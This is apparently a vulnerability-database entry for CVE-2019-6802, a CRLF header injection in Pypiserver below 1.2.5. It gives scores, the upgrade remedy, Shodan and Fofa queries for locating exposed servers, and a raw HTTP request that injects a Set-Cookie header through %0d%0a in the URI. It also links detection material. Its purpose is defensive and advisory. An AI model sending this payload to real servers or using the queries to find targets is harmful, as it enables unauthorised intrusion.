🔙 목록으로 돌아가기

CVE-2019-6802: Pypiserver <1.2.5 - Carriage Return Line Feed Injection

TitlePypiserver <1.2.5 - Carriage Return Line Feed Injection
Author0x_Akoko
SeverityMedium
ImpactAttackers can inject arbitrary HTTP headers through CRLF injection, potentially conducting cross-site scripting attacks or cache poisoning.
RemediationUpgrade to Pypiserver version 1.2.5 or later.
CVSS Score6.1
EPSS Score0.01051
CVE IDCVE-2019-6802
CWE IDCWE-74
Shodan Queryhtml:"pypiserver"http.html:"pypiserver"
Fofa Querybody="pypiserver"
Tags cve cve2019 crlf pypiserver python vuln

🔍 Vulnerability Description

Pypiserver through 1.2.5 and below is susceptible to carriage return line feed injection. An attacker can set arbitrary HTTP headers and possibly conduct cross-site scripting attacks via a %0d%0a in a URI.

🌐 HTTP Request

GET /%0d%0aSet-Cookie:crlfinjection=1; HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.6 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-6802.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-6802.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A